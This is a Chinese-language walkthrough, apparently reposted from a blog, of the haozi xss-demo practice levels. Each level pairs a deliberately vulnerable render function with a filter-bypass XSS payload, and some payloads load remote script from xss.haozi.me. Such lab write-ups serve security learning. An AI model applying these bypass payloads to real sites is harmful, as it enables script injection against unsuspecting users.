XSS练习笔记
本文转载自:http://saltyfishyu.xmutsec.com/index.php/2018/09/27/46.html
简介
xss 练习地址:
xss 项目地址:
https://github.com/haozi/xss-demo
0x00
function render (input) {
return '<div>' + input + '</div>'
}
无过滤
<script>alert(1)</script>
0x01
function render (input) {
return '<textarea>' + input + '</textarea>'
}
文本框无法执行,但是可以闭合 <textarea> 来执行.
</textarea><script>alert(1)</script>
0x02
function render (input) {
return '<input type="name" value="' + input + '">'
}
简单的 dom型xss ,闭合前面的双引号后面的句子随便构造,只要能执行.
"onmouseover="alert(1)"
或通过闭合前面的尖括号,构造新的语句执行.
"><svg/onload=alert(1)>
0x03
function render (input) {
const stripBracketsRe = /[()]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了圆括号 () ,但是我们仍然可以使用反引号执行.
<script>alert`1`</script>
0x04
function render (input) {
const stripBracketsRe = /[()`]/g
input = input.replace(stripBracketsRe, '')
return input
}
过滤了圆括号 () ,反引号 ` .
<svg> 可以执行 html转义字符.
<svg><script>alert(1)</script>
0x05
function render (input) {
input = input.replace(/-->/g, 'emoji笑脸')
return '<!-- ' + input + ' -->'
}
<!-- 可以用 --> 和 --!> 两种方式闭合.
--!><script>alert(1)</script>
0x06
function render (input) {
input = input.replace(/auto|on.*=|>/ig, '_')
return `<input value=1 ${input} type="text">`
}
可以通过换行绕过正则检测.
type="image" src="xxx" onerror
="alert(1)"
0x07
function render (input) {
const stripTagsRe = /<\/?[^>]+>/gi
input = input.replace(stripTagsRe, '')
return `<article>${input}</article>`
}
匹配了尖括号 <> 开头结尾的字符串替换为空.
可以通过少输入一个 > 来绕过正则,但仍然可以执行.
<body onload="alert(1)"
0x08
function render (src) {
src = src.replace(/<\/style>/ig, '/* \u574F\u4EBA */')
return `
<style>
${src}
</style>
`
}
通过换行绕过正则,闭合 <style> 然后执行语句.
</style ><script>alert(1)</script>
0x09
function render (input) {
let domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${input}"></script>`
}
return 'Invalid URL'
}
匹配 https://www.segmentfault.com 开头的字符串.
闭合第一个 script ,执行语句,然后 // 注释后面的语句.
https://www.segmentfault.com"></script><script>alert(1)</script>//
0x0A
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ' ')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
const domainRe = /^https?:\/\/www\.segmentfault\.com/
if (domainRe.test(input)) {
return `<script src="${escapeHtml(input)}"></script>`
}
return 'Invalid URL'
}
对一些符号进行了编码,并且正则匹配了 https://www.segmentfault.com 开头的字符串.
这里可以使用 @ 来执行我们自己的js.(其实是访问 https://xss.haozi.me/j.js )
https://www.segmentfault.com@xss.haozi.me/j.js
0x0B
function render (input) {
input = input.toUpperCase()
return `<h1>${input}</h1>`
}
html标签 , 域名 不区分大小写.
<script src="https://xss.haozi.me/j.js"></script>
0x0C
function render (input) {
input = input.replace(/script/ig, '')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
只检查了一遍是否存在 script ,于是可以在 script 中双写 script 绕过.
<scrscriptipt src="https://xss.haozi.me/j.js"></scrscriptipt>
0x0D
function render (input) {
input = input.replace(/[</"']/g, '')
return `
<script>
// alert('${input}')
</script>
`
}
过滤了 < , / , " , ' .
通过换行绕过注释.
然后用 html 的注释符 --> 注释掉后面的圆括号.
alert(1) -->
0x0E
function render (input) {
input = input.replace(/<([a-zA-Z])/g, '<_$1')
input = input.toUpperCase()
return '<h1>' + input + '</h1>'
}
匹配了所有 < 与字母的组合.
即 <s 无法使用.
但是 ſ 大写后为S,且其ascii值不与s相等,因此可以绕过.
<ſcript src="https://xss.haozi.me/j.js"></script>
0x0F
function render (input) {
function escapeHtml(s) {
return s.replace(/&/g, '&')
.replace(/'/g, ' ')
.replace(/"/g, '"')
.replace(/</g, '<')
.replace(/>/g, '>')
.replace(/\//g, '/')
}
return `<img src onerror="console.error('${escapeHtml(input)}')">`
}
对 & , ' , " , < , > , \/ 进行编码.
浏览器会先解析 html ,再解析 js ,因此 waf 实际无用.
');alert(1)//
0x10
function render (input) {
return `
<script>
window.data = ${input}
</script>
`
}
无过滤,在 <script> 中直接执行.
alert(1)
0x11
// from alf.nu
function render (s) {
function escapeJs (s) {
return String(s)
.replace(/\\/g, '\\\\')
.replace(/'/g, '\\\'')
.replace(/"/g, '\\"')
.replace(/`/g, '\\`')
.replace(/</g, '\\74')
.replace(/>/g, '\\76')
.replace(/\//g, '\\/')
.replace(/\n/g, '\\n')
.replace(/\r/g, '\\r')
.replace(/\t/g, '\\t')
.replace(/\f/g, '\\f')
.replace(/\v/g, '\\v')
// .replace(/\b/g, '\\b')
.replace(/\0/g, '\\0')
}
s = escapeJs(s)
return `
<script>
var url = 'javascript:console.log("${s}")'
var a = document.createElement('a')
a.href = url
document.body.appendChild(a)
a.click()
</script>
`
}
过滤了一些字符.
" 过滤为 \\" ,但目的达成,闭合了前面的双引号,然后执行了语句,并用 // 注释了后面的语句.
");alert(1)//
0x12
// from alf.nu
function escape (s) {
s = s.replace(/"/g, '\\"')
return '<script>console.log("' + s + '");</script>'
}
直接闭合最前面的 <script> ,然后创造一个新的 <script> 执行 alert(1) 即可.
</script><script>alert(1)</script>

浙公网安备 33010602011771号